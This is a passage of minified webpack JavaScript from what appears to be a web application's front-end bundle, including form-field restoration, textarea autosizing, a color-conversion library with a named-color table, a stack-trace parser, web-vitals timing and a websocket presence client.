CustomEvent("session:resume",{bubbles:!0,cancelable:!0,detail:{targetId:c,targetValue:m}});if(document.dispatchEvent(d)){const p=document.getElementById(c);p&&(p instanceof HTMLInputElement||p instanceof HTMLTextAreaElement)?p.value===p.defaultValue&&(p.value=m,a.push(p)):s.push([c,m])}}if(s.length===0)try{sessionStorage.removeItem(l)}catch{}else sessionStorage.setItem(l,JSON.stringify(s));setTimeout(function(){for(const c of a)c.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!0}))},0)}i(v,"restoreResumableFields");function e(o){b=o.target,setTimeout(function(){o.defaultPrevented&&(b=null)},0)}i(e,"setForm")},54430:(N,M,E)=>{"use strict";E.d(M,{Z:()=>_});function b(h){var v=null,e=!1,o=void 0,t=void 0,n=void 0;function r(d){if(o!==d.clientX||t!==d.clientY){var p=h.style.height;n&&n!==p&&(e=!0,h.style.maxHeight="",h.removeEventListener("mousemove",r)),n=p}o=d.clientX,t=d.clientY}i(r,"onUserResize");var l=h.ownerDocument,u=l.documentElement;function a(){for(var d=0,p=h;p!==l.body&&p!==null;)d+=p.offsetTop||0,p=p.offsetParent;var g=d-l.defaultView.pageYOffset,w=u.clientHeight-(g+h.offsetHeight);return{top:g,bottom:w}}i(a,"overflowOffset");function s(){if(!e&&h.value!==v&&!(h.offsetWidth<=0&&h.offsetHeight<=0)){var d=a(),p=d.top,g=d.bottom;if(!(p<0||g<0)){var w=Number(getComputedStyle(h).height.replace(/px/,""))+g;h.style.maxHeight=w-100+"px";var x=h.parentElement;if(x instanceof HTMLElement){var I=x.style.height;x.style.height=getComputedStyle(x).height,h.style.height="auto",h.style.height=h.scrollHeight+"px",x.style.height=I,n=h.style.height}v=h.value}}}i(s,"sizeToFit");function c(){e=!1,h.style.height="",h.style.maxHeight=""}i(c,"onFormReset"),h.addEventListener("mousemove",r),h.addEventListener("input",s),h.addEventListener("change",s);var m=h.form;return m&&m.addEventListener("reset",c),h.value&&s(),{unsubscribe:i(function(){h.removeEventListener("mousemove",r),h.removeEventListener("input",s),h.removeEventListener("change",s),m&&m.removeEventListener("reset",c)},"unsubscribe")}}i(b,"autosize");const _=b},48168:(N,M,E)=>{const b=E(39092),_={};for(const e of Object.keys(b))_[b[e]]=e;const h={rgb:{channels:3,labels:"rgb"},hsl:{channels:3,labels:"hsl"},hsv:{channels:3,labels:"hsv"},hwb:{channels:3,labels:"hwb"},cmyk:{channels:4,labels:"cmyk"},xyz:{channels:3,labels:"xyz"},lab:{channels:3,labels:"lab"},lch:{channels:3,labels:"lch"},hex:{channels:1,labels:["hex"]},keyword:{channels:1,labels:["keyword"]},ansi16:{channels:1,labels:["ansi16"]},ansi256:{channels:1,labels:["ansi256"]},hcg:{channels:3,labels:["h","c","g"]},apple:{channels:3,labels:["r16","g16","b16"]},gray:{channels:1,labels:["gray"]}};N.exports=h;for(const e of Object.keys(h)){if(!("channels"in h[e]))throw new Error("missing channels property: "+e);if(!("labels"in h[e]))throw new Error("missing channel labels property: "+e);if(h[e].labels.length!==h[e].channels)throw new Error("channel and label counts mismatch: "+e);const{channels:o,labels:t}=h[e];delete h[e].channels,delete h[e].labels,Object.defineProperty(h[e],"channels",{value:o}),Object.defineProperty(h[e],"labels",{value:t})}h.rgb.hsl=function(e){const o=e[0]/255,t=e[1]/255,n=e[2]/255,r=Math.min(o,t,n),l=Math.max(o,t,n),u=l-r;let a,s;l===r?a=0:o===l?a=(t-n)/u:t===l?a=2+(n-o)/u:n===l&&(a=4+(o-t)/u),a=Math.min(a*60,360),a<0&&(a+=360);const c=(r+l)/2;return l===r?s=0:c<=.5?s=u/(l+r):s=u/(2-l-r),[a,s*100,c*100]},h.rgb.hsv=function(e){let o,t,n,r,l;const u=e[0]/255,a=e[1]/255,s=e[2]/255,c=Math.max(u,a,s),m=c-Math.min(u,a,s),d=i(function(p){return(c-p)/6/m+1/2},"diffc");return m===0?(r=0,l=0):(l=m/c,o=d(u),t=d(a),n=d(s),u===c?r=n-t:a===c?r=1/3+o-n:s===c&&(r=2/3+t-o),r<0?r+=1:r>1&&(r-=1)),[r*360,l*100,c*100]},h.rgb.hwb=function(e){const o=e[0],t=e[1];let n=e[2];const r=h.rgb.hsl(e)[0],l=1/255*Math.min(o,Math.min(t,n));return n=1-1/255*Math.max(o,Math.max(t,n)),[r,l*100,n*100]},h.rgb.cmyk=function(e){const o=e[0]/255,t=e[1]/255,n=e[2]/255,r=Math.min(1-o,1-t,1-n),l=(1-o-r)/(1-r)||0,u=(1-t-r)/(1-r)||0,a=(1-n-r)/(1-r)||0;return[l*100,u*100,a*100,r*100]};function v(e,o){return(e[0]-o[0])**2+(e[1]-o[1])**2+(e[2]-o[2])**2}i(v,"comparativeDistance"),h.rgb.keyword=function(e){const o=_[e];if(o)return o;let t=1/0,n;for(const r of Object.keys(b)){const l=b[r],u=v(e,l);u.04045?((o+.055)/1.055)**2.4:o/12.92,t=t>.04045?((t+.055)/1.055)**2.4:t/12.92,n=n>.04045?((n+.055)/1.055)**2.4:n/12.92;const r=o*.4124+t*.3576+n*.1805,l=o*.2126+t*.7152+n*.0722,u=o*.0193+t*.1192+n*.9505;return[r*100,l*100,u*100]},h.rgb.lab=function(e){const o=h.rgb.xyz(e);let t=o[0],n=o[1],r=o[2];t/=95.047,n/=100,r/=108.883,t=t>.008856?t**(1/3):7.787*t+16/116,n=n>.008856?n**(1/3):7.787*n+16/116,r=r>.008856?r**(1/3):7.787*r+16/116;const l=116*n-16,u=500*(t-n),a=200*(n-r);return[l,u,a]},h.hsl.rgb=function(e){const o=e[0]/360,t=e[1]/100,n=e[2]/100;let r,l,u;if(t===0)return u=n*255,[u,u,u];n<.5?r=n*(1+t):r=n+t-n*t;const a=2*n-r,s=[0,0,0];for(let c=0;c<3;c++)l=o+1/3*-(c-1),l<0&&l++,l>1&&l--,6*l<1?u=a+(r-a)*6*l:2*l<1?u=r:3*l<2?u=a+(r-a)*(2/3-l)*6:u=a,s[c]=u*255;return s},h.hsl.hsv=function(e){const o=e[0];let t=e[1]/100,n=e[2]/100,r=t;const l=Math.max(n,.01);n*=2,t*=n<=1?n:2-n,r*=l<=1?l:2-l;const u=(n+t)/2,a=n===0?2*r/(l+r):2*t/(n+t);return[o,a*100,u*100]},h.hsv.rgb=function(e){const o=e[0]/60,t=e[1]/100;let n=e[2]/100;const r=Math.floor(o)%6,l=o-Math.floor(o),u=255*n*(1-t),a=255*n*(1-t*l),s=255*n*(1-t*(1-l));switch(n*=255,r){case 0:return[n,s,u];case 1:return[a,n,u];case 2:return[u,n,s];case 3:return[u,a,n];case 4:return[s,u,n];case 5:return[n,u,a]}},h.hsv.hsl=function(e){const o=e[0],t=e[1]/100,n=e[2]/100,r=Math.max(n,.01);let l,u;u=(2-t)*n;const a=(2-t)*r;return l=t*r,l/=a<=1?a:2-a,l=l||0,u/=2,[o,l*100,u*100]},h.hwb.rgb=function(e){const o=e[0]/360;let t=e[1]/100,n=e[2]/100;const r=t+n;let l;r>1&&(t/=r,n/=r);const u=Math.floor(6*o),a=1-n;l=6*o-u,(u&1)!==0&&(l=1-l);const s=t+l*(a-t);let c,m,d;switch(u){default:case 6:case 0:c=a,m=s,d=t;break;case 1:c=s,m=a,d=t;break;case 2:c=t,m=a,d=s;break;case 3:c=t,m=s,d=a;break;case 4:c=s,m=t,d=a;break;case 5:c=a,m=t,d=s;break}return[c*255,m*255,d*255]},h.cmyk.rgb=function(e){const o=e[0]/100,t=e[1]/100,n=e[2]/100,r=e[3]/100,l=1-Math.min(1,o*(1-r)+r),u=1-Math.min(1,t*(1-r)+r),a=1-Math.min(1,n*(1-r)+r);return[l*255,u*255,a*255]},h.xyz.rgb=function(e){const o=e[0]/100,t=e[1]/100,n=e[2]/100;let r,l,u;return r=o*3.2406+t*-1.5372+n*-.4986,l=o*-.9689+t*1.8758+n*.0415,u=o*.0557+t*-.204+n*1.057,r=r>.0031308?1.055*r**(1/2.4)-.055:r*12.92,l=l>.0031308?1.055*l**(1/2.4)-.055:l*12.92,u=u>.0031308?1.055*u**(1/2.4)-.055:u*12.92,r=Math.min(Math.max(0,r),1),l=Math.min(Math.max(0,l),1),u=Math.min(Math.max(0,u),1),[r*255,l*255,u*255]},h.xyz.lab=function(e){let o=e[0],t=e[1],n=e[2];o/=95.047,t/=100,n/=108.883,o=o>.008856?o**(1/3):7.787*o+16/116,t=t>.008856?t**(1/3):7.787*t+16/116,n=n>.008856?n**(1/3):7.787*n+16/116;const r=116*t-16,l=500*(o-t),u=200*(t-n);return[r,l,u]},h.lab.xyz=function(e){const o=e[0],t=e[1],n=e[2];let r,l,u;l=(o+16)/116,r=t/500+l,u=l-n/200;const a=l**3,s=r**3,c=u**3;return l=a>.008856?a:(l-16/116)/7.787,r=s>.008856?s:(r-16/116)/7.787,u=c>.008856?c:(u-16/116)/7.787,r*=95.047,l*=100,u*=108.883,[r,l,u]},h.lab.lch=function(e){const o=e[0],t=e[1],n=e[2];let r;r=Math.atan2(n,t)*360/2/Math.PI,r<0&&(r+=360);const u=Math.sqrt(t*t+n*n);return[o,u,r]},h.lch.lab=function(e){const o=e[0],t=e[1],r=e[2]/360*2*Math.PI,l=t*Math.cos(r),u=t*Math.sin(r);return[o,l,u]},h.rgb.ansi16=function(e,o=null){const[t,n,r]=e;let l=o===null?h.rgb.hsv(e)[2]:o;if(l=Math.round(l/50),l===0)return 30;let u=30+(Math.round(r/255)<<2|Math.round(n/255)<<1|Math.round(t/255));return l===2&&(u+=60),u},h.hsv.ansi16=function(e){return h.rgb.ansi16(h.hsv.rgb(e),e[2])},h.rgb.ansi256=function(e){const o=e[0],t=e[1],n=e[2];return o===t&&t===n?o<8?16:o>248?231:Math.round((o-8)/247*24)+232:16+36*Math.round(o/255*5)+6*Math.round(t/255*5)+Math.round(n/255*5)},h.ansi16.rgb=function(e){let o=e%10;if(o===0||o===7)return e>50&&(o+=3.5),o=o/10.5*255,[o,o,o];const t=(~~(e>50)+1)*.5,n=(o&1)*t*255,r=(o>>1&1)*t*255,l=(o>>2&1)*t*255;return[n,r,l]},h.ansi256.rgb=function(e){if(e>=232){const l=(e-232)*10+8;return[l,l,l]}e-=16;let o;const t=Math.floor(e/36)/5*255,n=Math.floor((o=e%36)/6)/5*255,r=o%6/5*255;return[t,n,r]},h.rgb.hex=function(e){const t=(((Math.round(e[0])&255)<<16)+((Math.round(e[1])&255)<<8)+(Math.round(e[2])&255)).toString(16).toUpperCase();return"000000".substring(t.length)+t},h.hex.rgb=function(e){const o=e.toString(16).match(/[a-f0-9]{6}|[a-f0-9]{3}/i);if(!o)return[0,0,0];let t=o[0];o[0].length===3&&(t=t.split("").map(a=>a+a).join(""));const n=parseInt(t,16),r=n>>16&255,l=n>>8&255,u=n&255;return[r,l,u]},h.rgb.hcg=function(e){const o=e[0]/255,t=e[1]/255,n=e[2]/255,r=Math.max(Math.max(o,t),n),l=Math.min(Math.min(o,t),n),u=r-l;let a,s;return u<1?a=l/(1-u):a=0,u<=0?s=0:r===o?s=(t-n)/u%6:r===t?s=2+(n-o)/u:s=4+(o-t)/u,s/=6,s%=1,[s*360,u*100,a*100]},h.hsl.hcg=function(e){const o=e[1]/100,t=e[2]/100,n=t<.5?2*o*t:2*o*(1-t);let r=0;return n<1&&(r=(t-.5*n)/(1-n)),[e[0],n*100,r*100]},h.hsv.hcg=function(e){const o=e[1]/100,t=e[2]/100,n=o*t;let r=0;return n<1&&(r=(t-n)/(1-n)),[e[0],n*100,r*100]},h.hcg.rgb=function(e){const o=e[0]/360,t=e[1]/100,n=e[2]/100;if(t===0)return[n*255,n*255,n*255];const r=[0,0,0],l=o%1*6,u=l%1,a=1-u;let s=0;switch(Math.floor(l)){case 0:r[0]=1,r[1]=u,r[2]=0;break;case 1:r[0]=a,r[1]=1,r[2]=0;break;case 2:r[0]=0,r[1]=1,r[2]=u;break;case 3:r[0]=0,r[1]=a,r[2]=1;break;case 4:r[0]=u,r[1]=0,r[2]=1;break;default:r[0]=1,r[1]=0,r[2]=a}return s=(1-t)*n,[(t*r[0]+s)*255,(t*r[1]+s)*255,(t*r[2]+s)*255]},h.hcg.hsv=function(e){const o=e[1]/100,t=e[2]/100,n=o+t*(1-o);let r=0;return n>0&&(r=o/n),[e[0],r*100,n*100]},h.hcg.hsl=function(e){const o=e[1]/100,n=e[2]/100*(1-o)+.5*o;let r=0;return n>0&&n<.5?r=o/(2*n):n>=.5&&n<1&&(r=o/(2*(1-n))),[e[0],r*100,n*100]},h.hcg.hwb=function(e){const o=e[1]/100,t=e[2]/100,n=o+t*(1-o);return[e[0],(n-o)*100,(1-n)*100]},h.hwb.hcg=function(e){const o=e[1]/100,t=e[2]/100,n=1-t,r=n-o;let l=0;return r<1&&(l=(n-r)/(1-r)),[e[0],r*100,l*100]},h.apple.rgb=function(e){return[e[0]/65535*255,e[1]/65535*255,e[2]/65535*255]},h.rgb.apple=function(e){return[e[0]/255*65535,e[1]/255*65535,e[2]/255*65535]},h.gray.rgb=function(e){return[e[0]/100*255,e[0]/100*255,e[0]/100*255]},h.gray.hsl=function(e){return[0,0,e[0]]},h.gray.hsv=h.gray.hsl,h.gray.hwb=function(e){return[0,100,e[0]]},h.gray.cmyk=function(e){return[0,0,0,e[0]]},h.gray.lab=function(e){return[e[0],0,0]},h.gray.hex=function(e){const o=Math.round(e[0]/100*255)&255,n=((o<<16)+(o<<8)+o).toString(16).toUpperCase();return"000000".substring(n.length)+n},h.rgb.gray=function(e){return[(e[0]+e[1]+e[2])/3/255*100]}},12085:(N,M,E)=>{const b=E(48168),_=E(4111),h={},v=Object.keys(b);function e(t){const n=i(function(...r){const l=r[0];return l==null?l:(l.length>1&&(r=l),t(r))},"wrappedFn");return"conversion"in t&&(n.conversion=t.conversion),n}i(e,"wrapRaw");function o(t){const n=i(function(...r){const l=r[0];if(l==null)return l;l.length>1&&(r=l);const u=t(r);if(typeof u=="object")for(let a=u.length,s=0;s{h[t]={},Object.defineProperty(h[t],"channels",{value:b[t].channels}),Object.defineProperty(h[t],"labels",{value:b[t].labels});const n=_(t);Object.keys(n).forEach(l=>{const u=n[l];h[t][l]=o(u),h[t][l].raw=e(u)})}),N.exports=h},39092:N=>{"use strict";N.exports={aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],grey:[128,128,128],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],rebeccapurple:[102,51,153],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]}},4111:(N,M,E)=>{const b=E(48168);function _(){const o={},t=Object.keys(b);for(let n=t.length,r=0;r{"use strict";E.d(M,{_8:()=>b,uQ:()=>_});function b(e,o){return _(h(e),o)}i(b,"preserveAnchorNodePosition");function _(e,o){var t=e;if(!t)return Promise.resolve(o());var n=t.ownerDocument.documentElement;function r(a){for(var s=[];a;){var c=a.getBoundingClientRect(),m=c.top,d=c.left;s.push({element:a,top:m,left:d}),a=a.parentElement}return s}i(r,"computeAncestorBoundingRects");function l(a){for(var s=0;s{"use strict";E.d(M,{Q:()=>_});var b="";function _(m){var d=m.split(` +`);return d.reduce(function(p,g){var w=e(g)||t(g)||l(g)||c(g)||a(g);return w&&p.push(w),p},[])}i(_,"parse");var h=/^\s*at (.*?) ?\(((?:file|https?|blob|chrome-extension|native|eval|webpack||\/).*?)(?::(\d+))?(?::(\d+))?\)?\s*$/i,v=/\((\S*)(?::(\d+))(?::(\d+))\)/;function e(m){var d=h.exec(m);if(!d)return null;var p=d[2]&&d[2].indexOf("native")===0,g=d[2]&&d[2].indexOf("eval")===0,w=v.exec(d[2]);return g&&w!=null&&(d[2]=w[1],d[3]=w[2],d[4]=w[3]),{file:p?null:d[2],methodName:d[1]||b,arguments:p?[d[2]]:[],lineNumber:d[3]?+d[3]:null,column:d[4]?+d[4]:null}}i(e,"parseChrome");var o=/^\s*at (?:((?:\[object object\])?.+) )?\(?((?:file|ms-appx|https?|webpack|blob):.*?):(\d+)(?::(\d+))?\)?\s*$/i;function t(m){var d=o.exec(m);return d?{file:d[2],methodName:d[1]||b,arguments:[],lineNumber:+d[3],column:d[4]?+d[4]:null}:null}i(t,"parseWinjs");var n=/^\s*(.*?)(?:\((.*?)\))?(?:^|@)((?:file|https?|blob|chrome|webpack|resource|\[native).*?|[^@]*bundle)(?::(\d+))?(?::(\d+))?\s*$/i,r=/(\S+) line (\d+)(?: > eval line \d+)* > eval/i;function l(m){var d=n.exec(m);if(!d)return null;var p=d[3]&&d[3].indexOf(" > eval")>-1,g=r.exec(d[3]);return p&&g!=null&&(d[3]=g[1],d[4]=g[2],d[5]=null),{file:d[3],methodName:d[1]||b,arguments:d[2]?d[2].split(","):[],lineNumber:d[4]?+d[4]:null,column:d[5]?+d[5]:null}}i(l,"parseGecko");var u=/^\s*(?:([^@]*)(?:\((.*?)\))?@)?(\S.*?):(\d+)(?::(\d+))?\s*$/i;function a(m){var d=u.exec(m);return d?{file:d[3],methodName:d[1]||b,arguments:[],lineNumber:+d[4],column:d[5]?+d[5]:null}:null}i(a,"parseJSC");var s=/^\s*at (?:((?:\[object object\])?[^\\/]+(?: \[as \S+\])?) )?\(?(.*?):(\d+)(?::(\d+))?\)?\s*$/i;function c(m){var d=s.exec(m);return d?{file:d[2],methodName:d[1]||b,arguments:[],lineNumber:+d[3],column:d[4]?+d[4]:null}:null}i(c,"parseNode")},82131:(N,M,E)=>{"use strict";E.d(M,{CA:()=>ne,Tb:()=>te,Tx:()=>X,Y:()=>c,kz:()=>p});var b,_,h,v,e=i(function(P,T){return{name:P,value:T===void 0?-1:T,delta:0,entries:[],id:"v2-".concat(Date.now(),"-").concat(Math.floor(8999999999999*Math.random())+1e12)}},"r"),o=i(function(P,T){try{if(PerformanceObserver.supportedEntryTypes.includes(P)){if(P==="first-input"&&!("PerformanceEventTiming"in self))return;var A=new PerformanceObserver(function(R){return R.getEntries().map(T)});return A.observe({type:P,buffered:!0}),A}}catch{}},"a"),t=i(function(P,T){var A=i(function R(S){S.type!=="pagehide"&&document.visibilityState!=="hidden"||(P(S),T&&(removeEventListener("visibilitychange",R,!0),removeEventListener("pagehide",R,!0)))},"n");addEventListener("visibilitychange",A,!0),addEventListener("pagehide",A,!0)},"o"),n=i(function(P){addEventListener("pageshow",function(T){T.persisted&&P(T)},!0)},"u"),r=i(function(P,T,A){var R;return function(S){T.value>=0&&(S||A)&&(T.delta=T.value-(R||0),(T.delta||R===void 0)&&(R=T.value,P(T)))}},"c"),l=-1,u=i(function(){return document.visibilityState==="hidden"?0:1/0},"s"),a=i(function(){t(function(P){var T=P.timeStamp;l=T},!0)},"m"),s=i(function(){return l<0&&(l=u(),a(),n(function(){setTimeout(function(){l=u(),a()},0)})),{get firstHiddenTime(){return l}}},"v"),c=i(function(P,T){var A,R=s(),S=e("FCP"),F=i(function(H){H.name==="first-contentful-paint"&&(U&&U.disconnect(),H.startTime-1&&P(B)},"i"),S=e("CLS",0),F=0,D=[],U=i(function(B){if(!B.hadRecentInput){var re=D[0],G=D[D.length-1];F&&B.startTime-G.startTime<1e3&&B.startTime-re.startTime<5e3?(F+=B.value,D.push(B)):(F=B.value,D=[B]),F>S.value&&(S.value=F,S.entries=D,A())}},"v"),H=o("layout-shift",U);H&&(A=r(R,S,T),t(function(){H.takeRecords().map(U),A(!0)}),n(function(){F=0,d=-1,S=e("CLS",0),A=r(R,S,T)}))},"h"),g={passive:!0,capture:!0},w=new Date,x=i(function(P,T){b||(b=T,_=P,h=new Date,z(removeEventListener),I())},"g"),I=i(function(){if(_>=0&&_1e12?new Date:performance.now())-P.timeStamp;P.type=="pointerdown"?function(A,R){var S=i(function(){x(A,R),D()},"n"),F=i(function(){D()},"i"),D=i(function(){removeEventListener("pointerup",S,g),removeEventListener("pointercancel",F,g)},"r");addEventListener("pointerup",S,g),addEventListener("pointercancel",F,g)}(T,P):x(T,P)}},"S"),z=i(function(P){["mousedown","keydown","touchstart","pointerdown"].forEach(function(T){return P(T,$,g)})},"w"),X=i(function(P,T){var A,R=s(),S=e("FID"),F=i(function(U){U.startTimeperformance.now())return;A.entries=[R],P(A)}catch{}},"t"),document.readyState==="complete"?setTimeout(T,0):addEventListener("load",function(){return setTimeout(T,0)})},"P")},27907:(N,M,E)=>{"use strict";E.d(M,{a:()=>l});var b=E(81855),_=E(60835),h=E(16544),v=E(75658),e=E(80955),o=E(29871),t;(function(u){u.Deploy="Alive Redeploy",u.Reconnect="Alive Reconnect"})(t||(t={}));function n(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}_${Math.round(Date.now()/1e3)}`}i(n,"generatePresenceId");function r(u){const a=u.match(/\/u\/(\d+)\/ws/);return a?+a[1]:0}i(r,"getUserIdFromSocketUrl");class l{constructor(a,s,c,m){this.url=a,this.getUrl=s,this.inSharedWorker=c,this.notify=m,this.subscriptions=new v.v,this.state="online",this.retrying=null,this.connectionCount=0,this.presence=new b.k2,this.presenceMetadata=new _.a,this.intentionallyDisconnected=!1,this.lastCameOnline=0,this.userId=r(a),this.presenceId=n(),this.presenceKey=(0,b.Hw)(this.userId,this.presenceId),this.socket=this.connect()}subscribe(a){const s=this.subscriptions.add(...a);this.sendSubscribe(s);for(const c of a){const m=c.topic.name;!(0,b.A)(m)||this.notifyCachedPresence(c.subscriber,m)}}unsubscribe(a){const s=this.subscriptions.delete(...a);this.sendUnsubscribe(s)}unsubscribeAll(...a){const s=this.subscriptions.drain(...a);this.sendUnsubscribe(s);const c=this.presenceMetadata.removeSubscribers(a);this.sendPresenceMetadataUpdate(c)}requestPresence(a,s){for(const c of s)this.notifyCachedPresence(a,c)}notifyCachedPresence(a,s){const c=this.presence.getChannelItems(s);c.length!==0&&this.notifyPresenceChannel(s,c)}updatePresenceMetadata(a){const s=new Set;for(const c of a)this.presenceMetadata.setMetadata(c),s.add(c.channelName);this.sendPresenceMetadataUpdate(s)}sendPresenceMetadataUpdate(a){if(!a.size)return;const s=[];for(const c of a){const m=this.subscriptions.topic(c);m&&s.push(m)}this.sendSubscribe(s)}online(){var a;this.lastCameOnline=Date.now(),this.state="online",(a=this.retrying)===null||a===void 0||a.abort(),this.socket.open()}offline(){var a;this.state="offline",(a=this.retrying)===null||a===void 0||a.abort(),this.socket.close()}shutdown(){this.inSharedWorker&&self.close()}get reconnectWindow(){const a=Date.now()-this.lastCameOnline<6e4;return this.connectionCount===0||this.intentionallyDisconnected||a?0:10*1e3}socketDidOpen(){this.intentionallyDisconnected=!1,this.connectionCount++,this.socket.url=this.getUrlWithPresenceId(),this.sendSubscribe(this.subscriptions.topics())}socketDidClose(a,s,c){if(this.redeployEarlyReconnectTimeout!==void 0&&clearTimeout(this.redeployEarlyReconnectTimeout),c==="Alive Reconnect")this.intentionallyDisconnected=!0;else if(c==="Alive Redeploy"){this.intentionallyDisconnected=!0;const d=(3+Math.random()*22)*60*1e3;this.redeployEarlyReconnectTimeout=setTimeout(()=>{this.intentionallyDisconnected=!0,this.socket.close(1e3,"Alive Redeploy Early Client Reconnect")},d)}}socketDidFinish(){this.state!=="offline"&&this.reconnect()}socketDidReceiveMessage(a,s){const c=JSON.parse(s);switch(c.e){case"ack":{this.handleAck(c);break}case"msg":{this.handleMessage(c);break}}}handleAck(a){for(const s of this.subscriptions.topics())s.offset=a.off}handleMessage(a){const s=a.ch,c=this.subscriptions.topic(s);if(!!c){if(c.offset=a.off,"e"in a.data){const m=this.presence.handleMessage(s,a.data);this.notifyPresenceChannel(s,m);return}a.data.wait||(a.data.wait=0),this.notify(this.subscriptions.subscribers(s),{channel:s,type:"message",data:a.data})}}notifyPresenceChannel(a,s){var c,m;const d=new Map;for(const p of s){const{userId:g,metadata:w,presenceKey:x}=p,I=d.get(g)||{userId:g,isOwnUser:g===this.userId,metadata:[]};if(x!==this.presenceKey){for(const $ of w){if(_.Z in $){I.isIdle!==!1&&(I.isIdle=Boolean($[_.Z]));continue}I.metadata.push($)}d.set(g,I)}}for(const p of this.subscriptions.subscribers(a)){const g=this.userId,w=Array.from(d.values()).filter($=>$.userId!==g),x=(m=(c=d.get(this.userId))===null||c===void 0?void 0:c.metadata)!==null&&m!==void 0?m:[],I=this.presenceMetadata.getChannelMetadata(a,{subscriber:p,markAllAsLocal:!this.inSharedWorker});this.notify([p],{channel:a,type:"presence",data:[{userId:g,isOwnUser:!0,metadata:[...x,...I]},...w]})}}async reconnect(){if(!this.retrying)try{this.retrying=new AbortController;const a=await(0,o.X)(this.getUrl,1/0,6e4,this.retrying.signal);a?(this.url=a,this.socket=this.connect()):this.shutdown()}catch(a){if(a.name!=="AbortError")throw a}finally{this.retrying=null}}getUrlWithPresenceId(){const a=new URL(this.url,self.location.origin);return a.searchParams.set("shared",this.inSharedWorker.toString()),a.searchParams.set("p",`${this.presenceId}.${this.connectionCount}`),a.toString()}connect(){const a=new h.Oo(this.getUrlWithPresenceId(),this,{timeout:4e3,attempts:7});return a.open(),a}sendSubscribe(a){const s=Array.from(a);for(const c of(0,e.o)(s,25)){const m={};for(const d of c)(0,b.A)(d.name)?m[d.signed]=JSON.stringify(this.presenceMetadata.getChannelMetadata(d.name)):m[d.signed]=d.offset;this.socket.send(JSON.stringify({subscribe:m}))}}sendUnsubscribe(a){const s=Array.from(a,c=>c.signed);for(const c of(0,e.o)(s,25))this.socket.send(JSON.stringify({unsubscribe:c}));for(const c of a)(0,b.A)(c.name)&&this.presence.clearChannel(c.name)}}i(l,"AliveSession")},29871:(N,M,E)=>{"use strict";E.d(M,{X:()=>v});function b(e){return new Promise((o,t)=>{const n=new Error("aborted");n.name="AbortError",e.aborted?t(n):e.addEventListener("abort",()=>t(n))})}i(b,"whenAborted");async function _(e,o){let t;const n=new Promise(r=>{t=self.setTimeout(r,e)});if(!o)return n;try{await Promise.race([n,b(o)])}catch(r){throw self.clearTimeout(t),r}}i(_,"wait");function h(e){return Math.floor(Math.random()*Math.floor(e))}i(h,"rand");async function v(e,o,t=1/0,n){const r=n?b(n):null;for(let l=0;l{"use strict";E.d(M,{A:()=>h.A,ZE:()=>_.Z,Zf:()=>e.Z,a2:()=>b.a,ah:()=>_.a,vk:()=>v.v});var b=E(27907),_=E(60835),h=E(81855),v=E(75658),e=E(72993)},80955:(N,M,E)=>{"use strict";E.d(M,{o:()=>b});function*b(_,h){for(let v=0;v<_.length;v+=h)yield _.slice(v,v+h)}i(b,"eachSlice")},60835:(N,M,E)=>{"use 